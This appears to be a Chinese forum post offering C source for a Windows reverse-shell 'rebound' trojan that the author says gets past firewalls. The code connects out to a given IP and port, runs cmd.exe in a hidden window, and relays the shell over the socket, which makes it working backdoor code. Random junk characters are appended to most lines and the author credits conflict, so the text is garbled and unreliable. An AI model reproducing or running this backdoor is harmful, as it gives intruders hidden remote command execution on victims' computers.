这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4jc?9(y%
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/* ============================== $<9u:.9xf
Rebound port in Windows NT SOZs!9oi
By wind,2006/7 )PkW,214#
===============================*/ Gr>CdB>~+
#include )FSEHQ
#include
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#pragma comment(lib,"wsock32.lib") xs&xcRR"
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void OutputShell(); k }{o:
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SOCKET sClient; .Cf!5[0E
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; PCHKH
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void main(int argc,char **argv) `8r$b/6
{ J$PlI
WSADATA stWsaData; F9Af{*Jw?x
int nRet; 4K\o2p?4
SOCKADDR_IN stSaiClient,stSaiServer; !9{UBAh
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if(argc != 3) %ZcS"/gf
{ QJ(5o7Tfn
printf("Useage:\n\rRebound DestIP DestPort\n"); %NfXe[T
return; cU-A1W
} MsBm0r`a
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WSAStartup(MAKEWORD(2,2),&stWsaData); >28l9U
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?"^{:~\N
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stSaiClient.sin_family = AF_INET; l p(D@FT
stSaiClient.sin_port = htons(0); -Lq2K3JHyn
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); V1,/qd_
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GXIzAB(
{ &2U%/JqY
printf("Bind Socket Failed!\n");
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return; pF7N = mO
} <f`n[QD2z
}#-@5["-X
stSaiServer.sin_family = AF_INET; `N&*+!O%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^{{a
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); LR{bNV[i
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W9pY=9]p+
{ nF_q{e7
printf("Connect Error!"); AorY#oq
return; L N
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} j "'a5;Sy
OutputShell(); a5R.
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} MPDRMGR@i
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void OutputShell() l
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{ L"/?[B":
char szBuff[1024]; )bR0>3/
SECURITY_ATTRIBUTES stSecurityAttributes; BWvM~no
OSVERSIONINFO stOsversionInfo; iC5HrOl6U
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .drY
STARTUPINFO stStartupInfo; FZO&r60$E
char *szShell; iCA-X\E
PROCESS_INFORMATION stProcessInformation; lVQE}gd%m
unsigned long lBytesRead; (9oo8&GG
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !tt 8-Y)i
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H la?\
stSecurityAttributes.lpSecurityDescriptor = 0; u
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stSecurityAttributes.bInheritHandle = TRUE; C0KFN
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y,GlAr s4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CQNMCYjg(R
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9 " t;6
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z@,(^~C_
stStartupInfo.wShowWindow = SW_HIDE; Z$g'h1,zW
stStartupInfo.hStdInput = hReadPipe; vanV |O
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [5p 3:D
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GetVersionEx(&stOsversionInfo); T7"QwA
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switch(stOsversionInfo.dwPlatformId) ~?Vo d|>
{ E0Q6Ryn
case 1: auc:|?H~1n
szShell = "command.com"; R6BbkYWrX
break; Wh..QVv
default: b@&uwS v
szShell = "cmd.exe"; ~] V62^0
break; }~|`h1JF
} _S7?c^:~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); R;pW,]}g,
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send(sClient,szMsg,77,0); z/`+jIB
while(1) l^ay*H
{ ?8{Os;!je
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x'|9A?ez@Z
if(lBytesRead) Jk-WD"J6
{ 0RtZTCGO
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )I3E
send(sClient,szBuff,lBytesRead,0); >;1w-n
} pP1DR'
else HEbL'fw^s
{ >!@D^3PPA
lBytesRead=recv(sClient,szBuff,1024,0); p<H_]|7$7U
if(lBytesRead<=0) break; LwRzzgt
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x}pH'S7
} G#e]J;
} S+~;PmN9qL
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return; (kB
}